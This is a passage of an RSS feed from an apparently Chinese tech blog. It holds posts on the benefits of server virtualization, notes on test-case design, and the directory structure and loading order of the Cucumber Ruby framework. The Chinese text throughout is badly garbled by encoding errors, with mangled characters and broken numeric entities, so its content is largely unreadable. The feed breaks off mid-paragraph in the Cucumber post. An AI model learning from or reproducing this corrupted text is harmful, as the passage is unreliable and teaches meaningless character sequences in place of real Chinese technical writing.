!important;">鏈嶅姟鍣櫄鎷熷寲鐨勭泭澶?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆<strong style="word-break: break-all; line-height: normal !important;">閲?#37922;?#37832;嶅姟鍣櫄鎷熷寲鎶鏈?#37928;勭泭澶?#28051;?#29781;?#29723;幇鍦?#28000;?#28051;?#37713;?#28051;?#37826;?#38344;?#37510;?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鑺傜渷閲?#29840;?#29840;?#37922;?#37510;?#38315;氳繃?#27332;鎷熷寲鎶鏈?#28725;?#25652;?#37922;?#37832;嶅姟鍣繘琛?#37825;村悎锛?#37721;?#28000;?#28598;?#39582;?#32514;?#37713;?#28028;?#28051;?#37734;?#38322;?#29840;?#37916;?#38010;?#37928;勫紑?#25966;锛?#37734;?#32429;?#28000;剁幆鑺?#37721;?#28000;?#28051;轰涓氳?#20636;渷34%锝?0%鐨?#38322;?#29840;?#37812;?#37832;?#37510;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆?#24723;?#26882;锛?#26473;?#37721;?#28000;?#38010;傜渷杞?#28000;堕噰璐?#29840;?#37922;?#37510;?#26462;?#28000;?#29825;?#37721;?#37812;?#37832;?#37828;?#28028;?#28051;?#28051;?#37721;?#36423;?#29785;?#37928;?#38322;?#29781;佹敮鍑?#37510;傝岄?#24533;潃<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">寰?#26462;?/strong></u></a>銆佺孩甯界瓑杞?#28000;?#23480;?#28598;?#37928;勫姞?#21446;锛岃櫄鎷熷寲鏋?#37835;勬妧鏈?#37734;?#26462;?#28000;?#37812;?#37832;?#28051;?#37928;?#28028;樺?#22840;篃閫?#23059;?#23536;椾互浣撶幇銆?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆闄?#28003;?#32495;荤粺杩?#29723;?#32513;存姢鎴?#37832;?#37510;?#37922;?#27996;庤櫄鎷熷寲鍦?#37825;村悎鏈嶅姟鍣?#37928;勫悓鏃堕噰鐢?#27996;嗘洿涓哄?#40511;?#33580;殑绠?#37918;?#23480;?#37711;?#38171;屽噺灏?#27996;?#32480;?#37918;?#32513;存姢浜哄憳鍦?#32515;?#32513;?#37510;佺嚎璺?#37510;?#26462;?#32429;?#28000;剁?#23384;姢鏂?#38344;?#37928;?#23480;?#28003;滈噺锛屼俊?#20229;閮?#38338;?#23536;椾互浠?#28028;犵粺鐨?#32513;存姢绠?#37918;?#23480;?#28003;滀腑瑙?#37824;?#37713;?#37833;?#38171;屽皢?#27967;澶?#37928;勬椂闂?#37724;岀鍔?#37922;?#27996;?#37818;?#37716;?#37714;?#37826;?#23480;?#28003;?#37724;?#28051;氬姟澧為暱绛夋?#35826;姩锛?#26473;欎篃涓轰涓氬甫鏉?#27996;?#37714;?#37929;?#37510;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆閫氳繃?#27332;鎷熷寲鎶鏈?#37721;?#28000;?#37713;?#28751;?#37911;?#37918;?#37832;嶅姟鍣?#37928;?#37825;伴噺锛?#26473;?#28751;辨?#24531;?#23815;潃浼?#28051;?#37832;?#37812;?#38000;?#37922;甸噺銆?#37825;?#37905;噺鐨?#38340;?#28003;?#38171;屽悓?#26882;杩?#28051;轰涓氳?#20636;渷浜嗙?#40511;皟銆?#37832;?#37812;?#38320;嶅璁?#28598;?#37928;勬敼閫?#37719;囩骇璐?#37922;?#37510;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆?#24385;楂樿?#21228;簮鍒?#37922;?#37916;?#37510;備繚闅?#28051;氬姟绯荤粺鐨勫揩閫?#38318;?#32515;?#37828;?#28103;伅?#23538;宸?#28003;?#37928;?#28051;椤?#38322;?#29781;?#37816;?#37837;?#38171;岃屼?#29365;粺妯?#23534;忎腑鏈嶅姟鍣?#37928;?#38322;?#29840;?#28729;夎鍛?#37832;熻?#20910;暱锛?#28051;瀹?#32459;?#25652;?#28051;?#38340;?#37714;?#27996;?#32495;荤粺閮?#32515;?#37825;?#37916;?#37510;?#37714;?#37922;櫄鎷熷寲鎶鏈?#38171;?#37721;?#28000;?#36423;?#38315;熸惌寤鸿櫄鎷?#32495;荤粺骞?#37721;?#38171;?#28598;?#39582;?#32514;?#37713;?#38318;?#32515;茬澶囨椂闂?#38171;屾彁?#29678;宸?#28003;?#37825;?#37916;?#37510;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鐢?#27996;庤櫄鎷熷寲鏈嶅姟鍣?#37711;?#37832;夊姩鎬?#29863;勬簮鍒?#38320;嶅?#29115;兘锛屽?#29363;?#32139;涓鍙拌櫄鎷熸満鐨勫簲鐢礋杞?#29906;嬩簬?#37724;屾椂锛?#32495;荤粺?#32048;鏍规嵁涔嬪墠瀹?#28052;?#37928;?#37714;?#38320;?#29785;?#37714;?#38007;?#37716;繘琛?#29863;勬簮?#30367;閰?#37510;?#37837;规嵁澶?#38318;?#37714;嗚櫄鎷熷寲鎶鏈?#37720;傚?#21976;彁渚?#37928;?#37825;?#37817;?#37816;?#37837;?#37833;湅锛岄氳繃?#27332;鎷熷寲鏁村悎鏈嶅姟鍣?#37722;?#38171;?#29863;勬簮骞?#37735;?#37714;?#37922;?#37916;?#37721;?#28000;?#28000;?%锝?5%?#24385;?#29678;鍒?0%锝?0%銆?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆?#24385;?#29678;绯荤粺鐨?#28729;夊叏鎬?#37510;?#28028;犵粺鏈嶅姟鍣?#32429;?#28000;剁?#23384;姢閫氬父闇瑕?#37825;?#28598;?#37928;勭澶?#37832;?#37724;?#37825;?#28751;忔椂鐨?#32513;存姢绐?#37721;?#37832;?#37510;傝?#37734;櫄鎷熷寲鏋?#37835;勬妧鏈?#37916;?#28583;?#28051;?#38171;?#37832;嶅姟鍣?#26473;佺鍙?#38343;瑕?#37713;犵?#25495;挓鐨勬椂闂?#37510;?#37922;?#27996;庤?#20346;?#26127;繃绋嬩腑鏈嶅姟?#30149;鏈変腑鏂?#38171;?#32480;?#37918;嗗憳鏃?#26916;?#37922;?#29831;风?#33636;粺鍋?#37832;?#38171;?#37734;?#38340;?#28003;?#32480;?#37918;?#32513;存姢宸?#28003;滈噺鐨勫悓?#26882;锛屾彁?#29678;绯荤粺杩?#29723;?#26473;炵画鎬?#37510;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鐩?#37715;嶈櫄鎷熷寲涓绘祦鎶鏈?#37720;傚?#21975;潎鍦叾?#27332;鎷熷寲骞?#37721;颁腑寮曞叆鏁?#37817;?#36423;収浠?#37721;婅櫄鎷熷?#27194;偍绛?#28729;夊叏鏈哄埗锛屽?#29363;鍦?#37825;?#37817;?#28729;夊叏绛夌骇鍜?#32495;荤粺瀹圭?#25424;兘鍔?#37826;?#38344;?#38171;岃緝鍘熸?#22794;?#26335;?#40511;繍琛屾寮忔湁浜嗚緝澶彁?#29678;銆?br /><br />鐩墠 鎴?#37721;?#23005;?#37734;?#25652;?#37922;aws 纭?#28729;?#23536;?#28051;嶉敊锛岃?#20636;渷鎴?#37832;?鏈嶅姟绋?#28729;?#38171;屾瘮浠涔?#38339;?#38322;?#27996;?寮?#27996;?#28051;嶇煡閬?#28598;?#28751;戝?/div><img src ="http://www.67529968.com/qileilove/aggbug/423595.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.67529968.com/qileilove/" target="_blank">椤哄叾鑷劧EVO</a> 2015-03-18 22:03 <a href="http://www.67529968.com/qileilove/archive/2015/03/18/423595.html#Feedback" target="_blank" style="text-decoration:none;">鍙?#29723;?#29831;勮</a></div>]]></description></item><item><title>闃?#29831;?#37510;?#23092;?#29831;?#37922;緥鎸囧銆嬬瑪璁?/title><link>http://www.67529968.com/qileilove/archive/2015/03/18/423594.html</link><dc:creator>椤哄叾鑷劧EVO</dc:creator><author>椤哄叾鑷劧EVO</author><pubDate>Wed, 18 Mar 2015 14:00:00 GMT</pubDate><guid>http://www.67529968.com/qileilove/archive/2015/03/18/423594.html</guid><wfw:comment>http://www.67529968.com/qileilove/comments/423594.html</wfw:comment><comments>http://www.67529968.com/qileilove/archive/2015/03/18/423594.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.67529968.com/qileilove/comments/commentRss/423594.html</wfw:commentRss><trackback:ping>http://www.67529968.com/qileilove/services/trackbacks/423594.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">1.娴?#29831;?#37922;緥 锛?#37714;?#37832;夊熀鏈祦鍜?#28598;?#38315;夋祦銆?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">銆銆2.瑕?#37711;?#32429;?#28729;?a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;"></strong></u></a><u style="word-break: break-all;"><strong style="word-break: break-all;"><a target="_self" style="word-break: break-all; color: #202859; text-decoration: none;"><u style="word-break: break-all;"><strong style="word-break: break-all;">娴?#29831;?/strong></u></a>鐢緥</strong></u>?#24383;杩?#38171;屽啀鍦?#23092;?#29831;?#37922;緥 瀹?#37826;界闃典腑纭?#28729;?#37929;?#25652;?#37928;?#23092;?#29831;?#37922;緥鏁?#37817;?#37510;?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">銆銆3.浠?#29723;?#37711;?#29785;勭害?#33105;鐢熸垚娴?#29831;?#37922;緥</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆锛?锛?#28051;?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">鎬兘娴?#29831;?/strong></u></a>鐢熸垚娴?#29831;?#37922;緥</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆锛?锛?#28051;?#28729;夊叏鎬?璁?#38338;?#37818;?#37714;?#23092;?#29831;?#37922;熸垚娴?#29831;?#37922;緥</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鍏?#38335;?#38171;?#37711;?#37816;?#28729;?#37813;?#29723;?#37922;緥鐨?#28051;?#29785;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆锛?锛?#28051;洪?#23943;疆娴?#29831;?#37922;熸垚娴?#29831;?#37922;緥</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆涓?#29781;?#37828;?#28051;?#27996;?#37837;?#28729;?#23092;?#29831;曠洰鏍?#37734;?#28051;嶅悓鐨?#38320;嶇疆?#20751;鍐?#28051;?#38171;?#28641;?#28051;嶅悓鐨凮S锛孊rowser锛孋PU閫?#25652;?#32475;?#38171;?#37828;?#37722;兘姝父 鍦?nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">宸?#28003;?/strong></u></a>鎴?#37813;?#29723;?#37510;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆?#25313;瀵?#32471;?#28051;?#37711;?#38335;?#38320;嶇疆锛屾瘡涓?#37721;兘鏈?#38338;?#26864;?#37928;?#38320;嶇疆?#20824;鑷?#28751;戝簲璇?#37832;?#28051;涓?#23092;?#29831;?#37922;緥銆?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆锛?锛?#28051;?#28729;夎娴?#29831;?#37922;熸垚娴?#29831;?#37922;緥</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆a.闇瑕佸浠?#28051;?#37722;勭瀹夎?#21614;儏鍐?#29825;?#29825;?#23092;?#29831;?#37922;緥锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鍒?#37721;?#28000;嬭川锛?#28641;傜?#20346;洏锛孋D-ROM鍜?#37826;?#28000;?#37832;嶅姟鍣?#38171;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆棣?#23046;?#28729;夎</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆瀹屽叏瀹夎</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鑷?#28729;?#28052;?#28729;夎</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鍗囩骇瀹夎</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆b.娴?#29831;曠洰鏍?#25652;斿寘鎷?#37813;鏈?#37835;?#28000;?#37928;?#28729;夎</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆瀹?#37812;?#37832;?#38171;屼腑闂村眰锛?#37832;嶅姟鍣?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆锛?锛?#28051;哄叾浠?#38344;?#37716;熻兘鎬?#23092;?#29831;?#37922;熸垚娴?#29831;?#37922;緥</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆濡?#37823;?#28003;?#23092;?#29831;?#38171;屽?#35268;兘鐡?#26864;?#38171;?#32495;荤粺瀹?#38322;忔垨娴?#29831;曠洰鏍?#37928;?#23534;哄害鎵?#37721;楄兘鍔涜繘琛岃皟鏌?#37928;?#23092;?#29831;?#37922;緥</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆<strong style="word-break: break-all; line-height: normal !important;">4.鍦?a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">鐧?#37929;?#23092;?#29831;?/strong></u></a>鍙?a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">榛戠洅娴?#29831;?/strong></u></a>鐨勫悓鏃堕兘搴?#29831;繘琛?#37721;?#38344;?#37804;?#23092;?#29831;?#37510;?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">銆銆5.涓?#27996;搧楠屾敹娴?#29831;?#37922;熸垚娴?#29831;?#37922;緥</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">銆銆6.涓哄洖褰?#23092;?#29831;曠紪鍒?#23092;?#29831;?#37922;緥</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆a.鍥?#35120;?#23092;?#29831;?#37828;?#23011;?#26440;冨悓涓娴?#29831;曠洰鏍?#37928;?#28051;?#28051;?#37911;?#37832;?#37812;?#37911;?#37832;?#38171;屽苟灏嗗皢宸?#23534;傜瀹?#28051;烘綔鍦?#37928;勭?#27946;櫡銆?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆b.涓轰娇娴?#29831;?#37922;緥鍙戞尌鍥?#35120;?#23092;?#29831;?#37724;?#28598;?#37922;?#37928;?#28000;峰?#38171;屽悓?#26882;灏?#32513;存姢鎴?#37832;?#37713;?#38007;?#37832;浣?#38171;屽簲锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆纭?#28103;?#23092;?#29831;?#37922;緥鍙?#32429;?#28729;?#37711;?#38335;?#37928;?#37825;?#37817;?#37711;冪礌锛?#37714;涘缓/?#25966;鎸?#29722;?#23092;?#29831;?#37928;?#37833;?#28000;舵敮鎸佺殑娴嬩笂璇?#37922;緥锛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆纭?#28103;?#23011;?#28051;?#23092;?#29831;?#37922;緥?#20824;璇?#37828;?#37812;?#28000;?#29723;?#28051;涓敮涓鐨勮?#25779;叆?#27878;鎴?#27996;嬩欢搴?#37714;?#38171;屽叾缁?#37835;?#37828;?#37913;?#37911;?#37928;?#23092;?#29831;曠洰鏍?#29723;?#28051;?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆娑堥櫎澶?#28003;?#37812;?#32475;?#37825;?#37928;?#23092;?#29831;?#37922;緥</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆灏嗗叿鏈?#37929;稿悓鐨?#23092;?#29831;曠洰鏍?#37714;?#28654;嬬鎬?#37724;?#23092;?#29831;?#37825;?#37817;?#37912;?#37804;佺殑娴?#29831;?#37922;?#28186;嬬?#21227;悎鍦?#28051;璧?/div><img src ="http://www.67529968.com/qileilove/aggbug/423594.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.67529968.com/qileilove/" target="_blank">椤哄叾鑷劧EVO</a> 2015-03-18 22:00 <a href="http://www.67529968.com/qileilove/archive/2015/03/18/423594.html#Feedback" target="_blank" style="text-decoration:none;">鍙?#29723;?#29831;勮</a></div>]]></description></item><item><title>琛?#28051;洪鍔紑鍙? Cucumber鐨勭洰?#32141;缁?#37835;?#37724;?#37813;?#29723;岃繃绋?/title><link>http://www.67529968.com/qileilove/archive/2014/12/28/421891.html</link><dc:creator>椤哄叾鑷劧EVO</dc:creator><author>椤哄叾鑷劧EVO</author><pubDate>Sat, 27 Dec 2014 17:29:00 GMT</pubDate><guid>http://www.67529968.com/qileilove/archive/2014/12/28/421891.html</guid><wfw:comment>http://www.67529968.com/qileilove/comments/421891.html</wfw:comment><comments>http://www.67529968.com/qileilove/archive/2014/12/28/421891.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.67529968.com/qileilove/comments/commentRss/421891.html</wfw:commentRss><trackback:ping>http://www.67529968.com/qileilove/services/trackbacks/421891.html</trackback:ping><description><![CDATA[<h1><a id="cb_post_title_url" href="http://www.cnblogs.com/CloudTeng/archive/2011/10/16/2214293.html" style="margin: 0px; padding: 0px; color: #00bfff; font-weight: inherit; line-height: inherit; text-decoration: none;">琛?#28051;洪鍔紑鍙? Cucumber鐨勭洰?#32141;缁?#37835;?#37724;?#37813;?#29723;岃繃绋?/a></h1><div style="margin: 0px; clear: both; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px;"></div><div style="margin: 0px; padding: 5px 2px 5px 5px; line-height: 1.5; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: black; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px;"><div id="cnblogs_post_body" style="margin: 0px 0px 20px;"><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">      Cucumber鏄疪uby涓?#37923;?#37928;凚DD妗?#37835;?#38171;屽紑鍙?#27996;哄憳涓?#29781;?#28051;?#28051;?#32491;?#37826;?#28000;?#37813;?#27996;?#37714;?#38171;孎eature鏂?#28000;?#37724;?#37929;?#25652;?#37928;凷tep鏂?#28000;?#37510;侳eature鏂?#28000;?#37828;?#28000;feature涓哄?#24227;紑鍚?#37928;?#37826;?#28000;?#38171;屼互Given-When-Then鐨?#37826;?#23534;忔弿杩?#27996;?#32495;荤粺鐨?#37734;烘櫙(scenarios)琛?#28051;?#38171;汼tep鏂?#28000;?#28051;烘櫘閫?#37928;凴uby鏂?#28000;?#38171;孎eature鏂?#28000;朵腑鐨?#23011;?#28051;Given/When/Then姝?#26976;?#37734;Step鏂?#28000;朵腑?#20824;鏈夊搴?#37928;凴uby鎵?#29723;屼唬?#29212;锛?#28051;?#32491;?#37826;?#28000;?#38315;氳繃姝?#37714;?#29723;揪寮?#37929;?#37711;宠仈銆?#32471;?#38000;?#37734;?#37922;Cucumber+Watir鍋氬洖褰?#23092;?#29831;曟椂瀵笴ucumber宸?#32459;?#37928;勭洰?#32141;缁?#37835;?#37813;?#29723;岃繃绋嬭繘琛?#27996;?#37934;旂銆?/p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">瀹夎?#21613;?#32058;ucumber鍚?#38171;屽鏋?#37734;?#32513;?#32468;洿鎺?#37813;?#29723;宑ucumber鍛?#28000;?#38171;屽緱鍒?#28000;?#28051;嬭緭鍑?#38171;?img src="http://pic002.cnblogs.com/images/2011/341412/2011101620404538.png" alt="" style="margin: 0px; padding: 0px; border: 0px;" /></p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">杈?#37713;?#32513;?#37835;?#29723;?#37828;?#38171;歝ucumber鏈?#23536;呭綋?#22688;鐩綍涓嬪瓨鍦?#37722;?#28051;篺eatures鐨勫?#24878;洰?#32141;銆傚?#21700;?#32093;eatures鏂?#28000;?#28598;瑰悗锛岄噸鏂?#37813;?#29723;宑ucumber鍛?#28000;?#38171;岃緭鍑哄涓?#38171;?/p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;"><img src="http://pic002.cnblogs.com/images/2011/341412/2011101620433974.png" alt="" style="margin: 0px; padding: 0px; border: 0px;" /></p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">Cucumber杩?#29723;屾垚鍔?#38171;屼絾鐢?#27996;巉eatures鏂?#28000;?#28598;?#28051;嬫病鏈?#28000;?#28003;曞唴瀹?#38171;?#37825;?#23536;?#37714;?#28051;?#26473;拌緭鍑?#32513;?#37835;?#37510;?/p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">缃?#28051;?#28598;?#28598;?#37825;?#37711;?#27996;嶤ucumber鐨?#37825;?#32459;嬮兘寤?#29825;?#38322;?#37922;?#28000;?#28051;嬬洰?#32141;缁?#37835;?#38171;?#37813;鏈?#37928;?#37826;?#28000;?#38171;?#28598;?#38171;夐兘浣?#27996;巉eatures鏂?#28000;?#28598;?#28051;?#37510;?/p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;"><img src="http://pic002.cnblogs.com/images/2011/341412/2011101620540328.png" alt="" style="margin: 0px; padding: 0px; border: 0px;" /></p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">Feature鏂?#28000;?#38171;?#28641;test.feature锛夌洿鎺?#28003;?#27996;巉eatures鏂?#28000;?#28598;?#28051;?#38171;?#37721;?#28000;?#28051;?#23011;?#28051;?#25652;?#37922;?#37734;烘櫙鍒涘缓涓涓狥eature鏂?#28000;?#38171;?#28051;Feature鏂?#28000;?#28725;?#25652;?#37928;凷tep鏂?#28000;?#38171;?#28641;test.rb锛?#28003;?#27996;巗tep_definitions瀛?#37826;?#28000;?#28598;?#28051;?#38171;涘悓?#26882;锛屽瓨鍦support瀛?#37826;?#28000;?#28598;?#38171;屽叾涓?#37928;別nv.rb鏂?#28000;?#28051;?#37916;?#28583;?#38320;嶇疆鏂?#28000;?#37510;?#37734;?#26473;?#37837;?#37928;勭洰?#32141;缁?#37835;?#37833;?#28000;?#28051;?#37813;?#29723;宑ucumber鍛?#28000;?#38171;屼細棣?#37711;?#37813;?#29723;env.rb鍋氬墠鏈?#37713;?#28598;?#23480;?#28003;?#38171;屾?#26047;鍙?#28000;?#37922;Watir鏂?#23524;?#23092;?#29785;?#37731;?#32464;?#37721;?#38171;岀劧鍚嶤ucumber灏唗est.rb鏂?#28000;?#29831;诲叆鍐呭瓨锛?#37832;鍚?#37813;?#29723;宼est.feature鏂?#28000;?#38171;屽綋閬?#37714;Given/When/Then姝?#26976;椂锛孋ucumber灏?#37734;test.rb?#33105;滅储鏄?#37722;?#37832;?#37929;?#25652;?#37928;剆tep锛屽鏋?#37832;?#38171;屽垯鎵?#29723;?#37929;?#25652;?#37928;凴uby浠爜銆?/p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">杩?#37837;?#37928;勭洰?#32141;缁?#37835;?#37721;?#37828;?#37818;?#38013;?#37928;勭洰?#32141;缁?#37835;?#38171;岀瑪鑰?#38315;氳繃鍙?#28598;?#37928;?#29831;曢?#23677;緱鍑?#27996;?#28000;?#28051;嬬粨璁?#38171;氬浜嶤ucumber鑰?#29815;锛岄櫎浜?#26916;跺眰鐨features鏂?#28000;?#28598;规槸寮哄埗鎬?#37928;?#28052;?#28598;?#38171;屽叾瀹冪洰?#32141;缁?#37835;勯兘涓?#37828;?#23534;哄埗鎬?#37928;?#38171;孋ucumber灏嗗features鏂?#28000;?#28598;?#28051;?#37928;?#37813;鏈夊唴瀹硅繘琛?#37813;?#39582;冲寲锛坒latten锛?#28598;勭?#21975;?#23684;?#26663;瓧姣?#37818;掑簭銆?#37711;?#28003;?#37833;?#29831;?#38171;孋ucumber鍦?#26473;?#29723;屾椂锛岄鍏?#28751;?#38315;掑綊鐨?#37813;?#29723;宖eatures鏂?#28000;?#28598;?#28051;?#37928;?#37813;鏈塕uby鏂?#28000;??#21502;?#33105;鍒欏寘鎷琒tep鏂?#28000;?锛岀劧鍚?#38315;氳繃鐩稿悓鐨?#37826;?#23534;忔墽琛孎eature鏂?#28000;?#37510;備絾鏄?#38171;屽鏋features鏂?#28000;?#28598;?#28051;嬪瓨鍦support瀛?#37826;?#28000;?#28598;?#38171;屽苟涓攕upport涓?#37832;夊悕涓篹nv.rb鐨?#37826;?#28000;?#38171;孋ucumber灏?#26851;?#37711;?#37813;?#29723;?#29831;?#37826;?#28000;?#38171;岀劧鍚?#37813;?#29723;宻upport涓?#37928;勫叾瀹?#37826;?#28000;?#38171;屽啀閫掑綊鎵?#29723;宖eatues涓?#37928;勫叾瀹?#37826;?#28000;?#37510;?/p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">姣斿鏈夊涓婥ucumber鐩綍缁?#37835;?#38171;?/p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;"><img src="http://pic002.cnblogs.com/images/2011/341412/2011101621421836.png" alt="" style="margin: 0px; padding: 0px; border: 0px;" /></p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">涓?#27996;?#37826;逛究璁板綍Cucumber杩?#29723;屾椂鐨?#37826;?#28000;?#37813;?#29723;?#26916;哄簭锛?#37734;features鏂?#28000;?#28598;?#28051;?#37928;?#37813;鏈塕uby鏂?#28000;朵腑鍔?#28051;?#28000;?#28051;嬩唬?#29212;锛?/p><p style="margin-top: 10px; margin-bottom: 10px; padding: 